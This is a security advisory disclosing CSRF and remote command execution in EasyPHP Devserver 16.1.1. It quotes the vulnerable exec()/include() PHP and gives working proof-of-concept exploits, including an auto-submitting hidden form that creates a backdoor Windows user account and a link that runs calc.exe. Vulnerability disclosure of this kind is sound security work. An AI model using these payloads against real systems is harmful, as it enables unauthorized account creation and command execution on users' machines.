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EasyPHP Devserver 16.1.1 Cross Site Request Forgery / Remote Command Execution

Posted on 23 November 2016

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/EASYPHP-DEV-SERVER-REMOTE-CMD-EXECUTION.txt

[+] ISR: ApparitionSec

Vendor:
===============
www.easyphp.org

Product:
=============================
EasyPHP Devserver v16.1.1

easyphp-devserver-16.1.1-setup.exe
hash: 64184d330a34be9e6c029ffa63c903de

A complete WAMP environment for PHP development & personal web hosting.
Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin,
Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows.

Vulnerability Type:
=================================
CSRF / Remote Command Execution

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

EasyPHP Devserver dashboard runs on port 1111, the PHP code contains
mulitple RCE vectors, which can allow
arbitrary OS commands to be executed on the target system by remote
attackers, if a user visits malicious webpage or link.

The "index.php" and "explorer.php" files both contain vulnerable code that
will happily process both GET / POST RCE requests.
Below EasyPHP Code contains no CSRF token or checks whatsoever. All
attacker needs is to supply 'type' and command values.

Possibility for RFI (remote file inclusion) if the "allow_url_include=0"
setting is changed in "php.ini" configuration.
No checks or CSRF tokens for PHP include directives either, the default
however is set to Off.

e.g. RFI attempt result
Warning: include(): http:// wrapper is disabled in the server configuration
by allow_url_include=0

line 8 of "explorer.php"
======================

//== ACTIONS
==================================================================

if (isset($_POST['action'])) {

// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}

//////////////////////////////////////////////////

line 48 "index.php"
==================

//== ACTIONS
==================================================================

if (isset($_POST['action'])) {

// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
sleep(1);
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}

if (isset($_GET['action'])) {
// Include and exec
if ($_GET['action'] == 'include') include(urldecode($_GET['value']));
if ($_GET['action'] == 'exe') exec(urldecode($_GET['value']));
if (isset($_GET['redirect'])) {
$redirect = urldecode($_GET['redirect']);
} else {
$redirect = 'http://127.0.0.1:1111/index.php';
}
sleep(1);
header("Location: " . $redirect);
exit;
}

Exploit code(s):
===============

1) Add Backdoor User Account

<form action="http://127.0.0.1:1111/explorer.php" method="post">
<input type="hidden" name="action[request][0][type]" value="exe">
<input type="hidden" name="action[request][0][value]" value="net user EVIL
Password /add">
<script>document.forms[0].submit()</script>
</form>

2) Run "calc.exe"

<a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe
">Clicky...</a>

Disclosure Timeline:
======================================
Vendor Notification: No replies
November 22, 2016 : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
================
Medium

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx

 

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